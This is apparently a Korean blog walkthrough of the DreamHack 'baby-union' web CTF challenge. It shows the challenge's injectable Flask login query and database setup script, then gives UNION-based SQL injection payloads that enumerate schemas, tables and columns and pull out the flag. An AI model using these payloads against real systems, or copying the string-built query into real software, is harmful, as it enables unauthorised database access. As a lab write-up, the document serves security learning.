[DreamHack] [web] [LEVEL 1] baby-union 풀이

2024. 11. 20. 10:38Information Security 정보보안/DreamHack

728x90

배울내용 

dreamhack,

web hacking,

개발자도구,

dreamhack 풀이,

dreamhack baby-union문제,

dreamhack web 풀이 ,

burfsuite,  

baby-union,

SQL Injection

 

 

문제

 

 

 

문제제목과 설명만 봐도 union 을 곁들인 SQL injection 을 사용하라는 느낌이 강하게 온다 

 

UNION 이란? 

SQL의 두 개 이상의 SELECT 쿼리의 결과를 하나로 결합하는 데 사용되는데 여러 테이블에서 데이터를 가져와 하나의 결과 집합으로 보여줄 때 유용합니다.

 

 

 

 

문제에서도 보기좋게 표시까지 해줘서 좀더 알기 쉬웠고 예상한대로 코드에도 uid 하고 upw 에도 위와같이 uid , upw 위치에 들어가는걸 알수있었다 

 

@app.route("/", methods = ["GET", "POST"])
def index():

    if request.method == "POST":
        uid = request.form.get('uid', '')
        upw = request.form.get('upw', '')
        if uid and upw:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
            data = cur.fetchall()
            if data:
                return render_template("user.html", data=data)

            else: return render_template("index.html", data="Wrong!")

        return render_template("index.html", data="Fill the input box", pre=1)
    return render_template("index.html")


if __name__ == '__main__':
    app.run(host='0.0.0.0')

 

 

 

파일을 다운 받으면서 기존에 DB 시작할때 동작하는 init.sql 로 있어서 확인해보니 아래와 같이 나와있다

CREATE DATABASE secret_db;
GRANT ALL PRIVILEGES ON secret_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `secret_db`;
CREATE TABLE users (
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null,
  descr varchar(128) not null
);

INSERT INTO users (uid, upw, descr) values ('admin', 'apple', 'For admin');
INSERT INTO users (uid, upw, descr) values ('guest', 'melon', 'For guest');
INSERT INTO users (uid, upw, descr) values ('banana', 'test', 'For banana');
FLUSH PRIVILEGES;

CREATE TABLE fake_table_name (
  idx int auto_increment primary key,
  fake_col1 varchar(128) not null,
  fake_col2 varchar(128) not null,
  fake_col3 varchar(128) not null,
  fake_col4 varchar(128) not null
);

INSERT INTO fake_table_name (fake_col1, fake_col2, fake_col3, fake_col4) values ('flag is ', 'DH{sam','ple','flag}');

  

우선 여기서 알아야할것은 테이블의 이름과 칼럼의 개수이다. 원래는 칼럼을 1개 씩 추가하면서 개수를 알아야하지만 친절하게도 fake_col1~4 라는 컬럼 개수까지 제공되어있다

 

Column 수 : 4 개 

 

그러면 Union 을 이용해서 uid 에 입력해보자

#1. DB 이름확인
' UNION SELECT schema_name, NULL, NULL, NULL FROM information_schema.schemata #

#2. Table 이름확인
' UNION SELECT table_name, NULL, NULL, NULL FROM information_schema.tables WHERE table_schema='secret_db' #

#3. Column 이름확인
' UNION SELECT column_name, NULL, NULL, NULL FROM information_schema.columns WHERE table_name='onlyflag' #

 

 

1번 DB 이름확인 

 

 

2번 Table 이름확인 

 

 

 

3번 Column 이름 확인

 

 

 

여기까지오면 DB -> Table -> Column 까지 확인이 다 되었고 이제 이 컬럼들을 사용해서 새로 union 해주면 성공 플레그를 뛰울수있을것이다.

 

' union select svalue, sflag, null, sclose from onlyflag #

 

 

그러면 svalue + sflag + sclose 등을 다 합치면 성공플레그를 뛰울수있게 된다 

 

728x90